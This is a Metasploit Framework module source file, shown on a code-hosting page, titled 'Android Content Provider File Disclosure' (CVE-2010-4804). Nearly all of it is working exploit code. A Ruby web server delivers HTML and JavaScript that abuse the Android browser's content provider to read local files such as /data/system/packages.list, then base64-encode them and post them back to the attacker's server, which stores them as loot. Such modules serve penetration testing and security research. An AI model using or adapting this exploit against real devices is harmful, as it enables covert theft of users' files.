Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_htmlfileprovider.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Android Content Provider File Disclosure',
15
'Description' => %q{
16
This module exploits a cross-domain issue within the Android web browser to
17
exfiltrate files from a vulnerable device.
18
},
19
'Author' => [
20
'Thomas Cannon', # Original discovery, partial disclsoure
21
'jduck' # Metasploit module
22
],
23
'License' => MSF_LICENSE,
24
'Actions' => [
25
[ 'WebServer' ]
26
],
27
'PassiveActions' => [
28
'WebServer'
29
],
30
'References' => [
31
[ 'CVE', '2010-4804' ],
32
[ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]
33
],
34
'DefaultAction' => 'WebServer',
35
'Notes' => {
36
'Reliability' => UNKNOWN_RELIABILITY,
37
'Stability' => UNKNOWN_STABILITY,
38
'SideEffects' => UNKNOWN_SIDE_EFFECTS
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptString.new('FILES', [
46
false, "The remote file(s) to steal",
47
'/proc/version,/proc/self/status,/data/system/packages.list'
48
])
49
]
50
)
51
end
52
53
def on_request_uri(cli, request)
54
print_status("Request '#{request.method} #{request.uri}'")
55
selected_headers = [ 'user-agent', 'origin', 'referer' ]
56
request.headers.each_key { |k|
57
next if not selected_headers.include? k.downcase
58
59
print_status("#{k}: #{request.headers[k]}")
60
}
61
62
return process_post(cli, request) if request.method == "POST"
63
64
# Only GET requests now..
65
if request.uri =~ /\.html?$/
66
filename = request.uri.split('/').last
67
target_files = datastore['FILES'].split(',').map { |e|
68
"'%s'" % e
69
}.join(',')
70
71
upload_url = get_uri(cli)
72
upload_url << '/' if upload_url[-1, 1] != '/'
73
upload_url << 'q'
74
75
html = <<~EOS
76
<html>
77
<body>
78
<script lang=javascript>
79
var target_files = Array(#{target_files});
80
var results = new Array();
81
function addField(form, name, value) {
82
var hf = document.createElement('input');
83
hf.setAttribute('type', 'hidden');
84
hf.setAttribute('name', name);
85
hf.setAttribute('value', value);
86
form.appendChild(hf);
87
}
88
function uploadFiles(files) {
89
var form = document.createElement('form');
90
form.setAttribute('method', 'POST');
91
form.setAttribute('action', '#{upload_url}');
92
var i = 0;
93
for (var fn in files) {
94
addField(form, 'f'+i, btoa(fn));
95
addField(form, 'd'+i, files[fn]);
96
i += 1;
97
}
98
document.body.appendChild(form);
99
form.submit();
100
}
101
for (var fn in target_files) {
102
fn = target_files[fn];
103
xh = new XMLHttpRequest();
104
xh.open('GET', fn, false);
105
xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
106
xh.send();
107
}
108
uploadFiles(results);
109
</script>
110
</body>
111
</html>
112
EOS
113
114
print_status("Sending payload HTML ...")
115
send_response_html(cli, html,
116
{
117
'Cache-Control' => 'public',
118
'Content-Description' => 'File Transfer',
119
'Content-Disposition' => "attachment; filename=#{filename}",
120
'Content-Transfer-Encoding' => 'binary',
121
'Content-Type' => 'text/html'
122
})
123
124
else
125
payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8))
126
127
html = <<~EOS
128
<html>
129
<body>
130
<script lang=javascript>
131
setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
132
setTimeout("document.location = '#{payload_fn}.html';", 500);
133
</script>
134
</body>
135
</html>
136
EOS
137
138
print_status("Sending initial HTML ...")
139
send_response_html(cli, html)
140
141
end
142
end
143
144
def process_post(cli, request)
145
results = {}
146
147
if request and request.body
148
request.body.split('&').each { |var|
149
parts = var.split('=', 2)
150
if parts.length != 2
151
print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
152
else
153
fln, fld = parts
154
fld = Rex::Text.uri_decode(fld).unpack('m').first
155
start = fln.slice!(0, 1)
156
if start == "f"
157
results[fln] ||= {}
158
results[fln][:filename] = fld
159
elsif start == "d"
160
results[fln] ||= {}
161
results[fln][:data] = fld
162
end
163
end
164
}
165
end
166
167
results.each_key { |k|
168
e = results[k]
169
fn = e[:filename]
170
data = e[:data]
171
print_good("#{fn.inspect} contains #{data.inspect}")
172
173
fn.gsub!(/[\/\\]/, '.')
174
fn.gsub!(/^\./, '')
175
store_loot('android.fs.' + fn, 'application/octet-stream', cli.peerhost, data, fn)
176
}
177
178
send_response_html(cli, "thx")
179
end
180
181
def run
182
exploit()
183
end
184
end
185
186